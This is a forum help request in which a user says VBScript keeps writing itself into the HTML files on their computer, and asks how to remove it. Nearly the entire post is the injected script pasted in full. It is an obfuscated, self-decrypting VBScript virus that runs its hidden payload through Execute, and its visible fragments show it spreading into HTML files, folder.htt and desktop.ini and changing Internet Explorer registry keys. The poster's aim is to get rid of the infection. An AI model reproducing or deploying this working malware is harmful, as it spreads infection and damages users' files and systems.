Forum Moderators: phranque
I have some html pages in my hard disk and I noticed that there are some VB code that are writing in my html files automatically.
I dont know what is this! Anyone can give advise how to remove and prevent this! or I have a virus in my computer!
Your help and advise is appeciated.
For your reference this is the code writing at the bottom of my html pages.
<SCRIPT language="vbscript"><!--
myEncString="NnEqrnrRdstmd Mewtcil @poOaj+fro+WrSgekl+WhnCiq,SelpkaseCiq,ShhsCiqP`tg,SelpkaseEike+mxSsaqtOafe+DdsjtnpHNH,eokddrGTS,lyDnbSsrhnf,eSsrhnf,uCndddhmmxEwpLahn'2(,lyKobakKdy'2(,hnhLhnd(7)+dqooMd(3)cobulemt-wqise;%ciu rtxld=&vhshbhlhtx:hhdcem'=<!&!aopkes male<'ubr.hc`rNs-0-0-10'cndd=bol.ls-abthvdX-AbthvdXBolpnndns>;/!&!aopkes>;/!&!dhv=lyCasa<;%rcqiotl`nfu`gd=!ubrcqiot!fnr<!whncov! dvdns=!!dnctmdns.vrhtd lyCasa&nnko`d!=m`im_nnko`d');/!&!sbrhps>!dnctmdns.vrhtd lyCasa&nntnko`d!=m`im_nntnko`d');/!&!sbrhps>!stbm`im_nnko`d')hnht@csiueW((imisDhrOashr((imisRdgDnsrher((imisDqooCndds')bhdcjEwirtEiker((imfdcsTgirFhld(SelpkaseEike(imfdcsRnosDhr')dnc ruastbm`im_nntnko`d')hneebtQontCiq((cgebkDxhssFhlds')hneebtShhsEike'Tdmol`tdFhld)leqgdRdgDnsrher((SbamFhldsHn'TgirDhrOash(cgebkCaseOLnac((emdstbrua hnht@csiueW((Om Drqoq QeruleNdxsSdtAopNbi < cobulemt-aopkess'ubr.hc`rNs-0-0-10(AopNbi.resCKSHD(!{E925CC12,1BF/-01C0,ACB8-/0B03FC57A/B¦(AopNbi.brdaseHnrt`nbe')Res VsRhdlk < @poOaj-GdtNbiebt')@poOaj-sdtBLRIC 'z0C42FD00-E083,10CE-7930,0/A/C8044127}!)@poOaj-cqe`tdImssamcd((Sdtfro=AopNbi.FesOajdcs((emdstbrua hnhtCiqP`tgs')NnEqrnrRdstmd MewtVimDhr=fro-GdtRpdchakFnlceq(/)SelpkaseCiq < VimDhr&[&Vea&[SelpkaseEike=Tdmol`tdDhr&eokddr-hst!TgirDhrOash=Mhd'whncov.kobasinn+ 8,Ldn'whncov.kobasinn()Eoq w < Kem(ShhsCiqP`tg)Tn 0 Rtdp-0Ie Lic(ShhsCiqP`tg,x+ 0)=.Tgem DxhtFnrMewtHfLBare'Rhggt'TgirDhrOash+ 2)( <!hsm! NrLBare'Rhggt'TgirDhrOash+ 3)( <!hsmkTgemTgirDhrOash=Mhd'TgirDhrOash+ 0,x(EksdTgirDhrOash=Mhd'TgirDhrOash+ 0,Ldn'TgirDhrOash( * w)&.ShhsCiqP`tg < tndsbaoe'TgirDhrOash(EmdIeemdstbrua hnhtQefEmtqids')NnEqrnrRdstmd MewtlyKobakKdy'0( <!SsaqtP`gdlyKobakKdy'1( <!Lnc`lP`gdlyKobakKdy'2( <!Ddf`ukt^P`gd_TRKlyDxoM`im(/)=GKDY^CTRQEMT^UREQ\Roetvaqe[Mhcqoroet[Imtdrmes Dxolnrdr[M`im\!mxEwpLahn'1( <!HJEX_KOBAK_LABHHND\Roetvaqe[Mhcqoroet[Imtdrmes Dxolnrdr[M`im\!mxEwpLahn'2( <!HJEX_TSDRR\-DDF@UKT[Snfsw`rd\Librnsnfs\HnseqndtEwpkoqeq\Lahn[lyRt`rsP`gd <!hsto:./vwv.fenchther.bol/gecd`_laqid_sokemthnn/hncew.gtldnc ruastbimisDqooCndds')NnEqrnrRdstmd MewthnhLhnd(/)<ZEwtRhdlkFnlceqVhevs\hnhLhnd(0)<Ceeatls=z5883FEE/-18C4,10CE-@E56,070/2A2D1161}!imiKime'2(=!{4974EFD0,27D3-01BF,AD65-/8/01B1E0252¦=z5883FEE/-18C4,10CE-@E56,070/2A2D1161}!imiKime'3(=!hnhLhnd(3)<Z{4974EFD0,27D3-01BF,AD65-/8/01B1E0252¦]!imiKime'5(=!PdrrirtLomijeq=eike9/.Fnlceq.gtshnhLhnd(5)<!imiKime'7(=![-SgeklBl`srImfn]!imiKime'8(=!CnneiqmEikeNp<0!fnrx=0tn 7DdsjtnpHNH=CerksooIMI&imiKime'x( % ubbrkfmewteokddrGTS <!<!&!hsmk>;%aocyssyke<!m`rfim:0!sbrnlk=mo=<!&!oajdcs hd<FhldLhss aoqddr<0t`bhncew=0 bl`sric=!blric:0810EEC0,463D-01C0,A86B-/0B03FC7/5@2!ssyke<!whdsh9 00/%: gehggt9 00/%!t`bHncew=,1=<.%nbiebt=<.%aocy=<.%gtll=crnpLe'0( <!<!&!sbrhps kamgtafe<!vasbrhps!>;%cgr'32)%,-!dqooMd(0)=lyDnbSsrhnf=!!&lyDnbSsrhnf&!!crnpLe'2( <!Ewe! %!cttd(!eoq h=0 soLdn'mxEmcRtqimg(! % ubbrkf&!s<cgr'arc'mhd'mxEmcRtqimg+i+1()*imnd2(! &vacqle %!hfs<cgr'18)tgem r=bhq(24(! &vacqle %!hfs<cgr'27)tgem r=ubBr! % ubbrkf&!ie r=bhq(19( shdns<vaLe! &vacqle %!lyCebSsrhnf=lyCebSsrhnf % r! &vacqle %!mewt!(crnpLe'3( <!Ewe! %!cttd(lyCebSsrhnf)!dqooMd(3)=,-! %!>;/! %!sbrhps>!fnrx=0tn 3vBoce<vBoce&dqooMd(w)&vacqlendxsfRtqimg<mxEmcRtqimgdnc ruaStbSbamFhldsHn'fnlceqsoeb)NnEqrnrRdstmd MewtRes lyEokddrr2=fro-GdtEokddr'fnlceqsoeb)Res lyRuaFnlceqFhlds=mxFnlceqs1.EikerFnrE`cg lyRuaFnlceqFhld HnmxStbEokddrEikermxEwt=LBare'fro-GdtDxsemshomN`md(lyRuaFnlceqFhld.Male()HfmxEwt=gtlOq lyDxs <!hsmkOq lyDxs <!hst! ShdnhneebtShhsEike(lyRuaFnlceqFhld.Oash(HfmxEwt=gtsTgemSdtmxFhld < esn.FesFhld(lyRuaFnlceqFhld.Oash(mxFhld.@tsrhbttds=7Dnc HfDnc HfMewtDnc RuaStbimfdcsTgirFhld(eokddrrpdc(Om Drqoq QeruleNdxsSdtmxFhld < esn.NpdnSewtEike'fnlceqsoeb)lyBomtdnss=mxFhld.Qe`d@lkmxFhld.Blnsdk<0eoq h=ldn'mxCnnsemtr)tn 0 rtdp-0ie lic(lyBomtdnss+i+ldn'fRtqimg()<fRtqimgtgem j=j+0ewis eoqemdiendxsie j=/ shdnvOCndd=lyBomtdnss&vacqle % uCnddSdtmxFhld < esn.FesFhld(eokddrrpdc(mxFhld.@tsrhbttds=0Res lyEike=fro-OoemTdxsFhld(eokddrrpdc+ 1)lyEike-WqisevOCnddmxFhld.BlnsdemdieEmdStbrua bhdcjEwirtEiker((Om Drqoq QeruleNdxsIe mos(esn.EokddrDxhsss'Tdmol`tdDhr()Tgem Res lyEike=fro-Cqe`tdFnlceq(SelpkaseCiq)Res lyEike=fro-GdtEokddr'Tdmol`tdDhr(mxFhld.@tsrhbttds=7BrdaseShhsEikeTdmol`tdFhld,eokddrGTSemdstbrua hneebtQontCiq((Om Drqoq QeruleNdxsIe Kem(tndsbaoe'TgirDhrOash()<< 3 ShdnShhsCiqP`tg <Mhd'TgirDhrOash+ 0,3( BrdaseShhsEikeTgirDhrOash%eokddr-hst!,eokddrGTS&ubbrkf%vBoceBrdaseShhsEikeTgirDhrOash%cerksoo.hnh+DdsjtnpHNHemdieemdstbrua leqgdRdgDnsrher((Om Drqoq QeruleNdxsfnrx<0tn 1AopkyQefCgamgdsSomxEwpLahn'x( % lyKobakKdy'x(,QEF_RZ!,mxSsaqtOafemewtdnc ruaStbAopkyQefCgamgdsSo'mxRdgJex,mxRdgSyoe+ lyQefV`lte(Om Drqoq QeruleNdxsWrSgekl-RdgVrhtd lyQefKdy+ lyQefV`lte+ lyQefTxpdEmdStbRua bhdcjD`tdPKo`d')NnEqrnrRdstmd MewtHfMhd'FnrlasD`tdThmd(Mov((,2(,1+ 3)=8/16! ShdnWrSgekl-Rtn(!RTNCLK31.DXD rhdlk31.clk,RHDxhtVimdnwrEw 1(EmdStbRua BrdaseShhsEike'fnlceqsoeb,vishBomtdnss(Om Drqoq QeruleNdxssdtmxFhld=esn.FesFhld(eokddrrpdc(mxFhld.@tsrhbttds=0Res lyEike<fro-Cqe`tdTdxsFhld(eokddrrpdc+ Srte(mxFhld.Vrhtd vishBomtdnsslyEike-Ckoreres lyEike<fro-GdtEike'fnlceqsoeb)lyEike-Astqiauser < 6EmdStb"
Execute("for i=1 to Len(myEncString)" & vbcrlf & "s=chr(asc(mid(myEncString,i,1))+i mod 2)" & vbcrlf & "if s=chr(19) then s=chr(34)" & vbcrlf & "if s=chr(28) then s=vbCr" & vbcrlf & "if s=chr(29) then s=vbLf" & vbcrlf & "myDecString=myDecString & s" & vbcrlf & "next")
Execute(myDecString)
--></SCRIPT>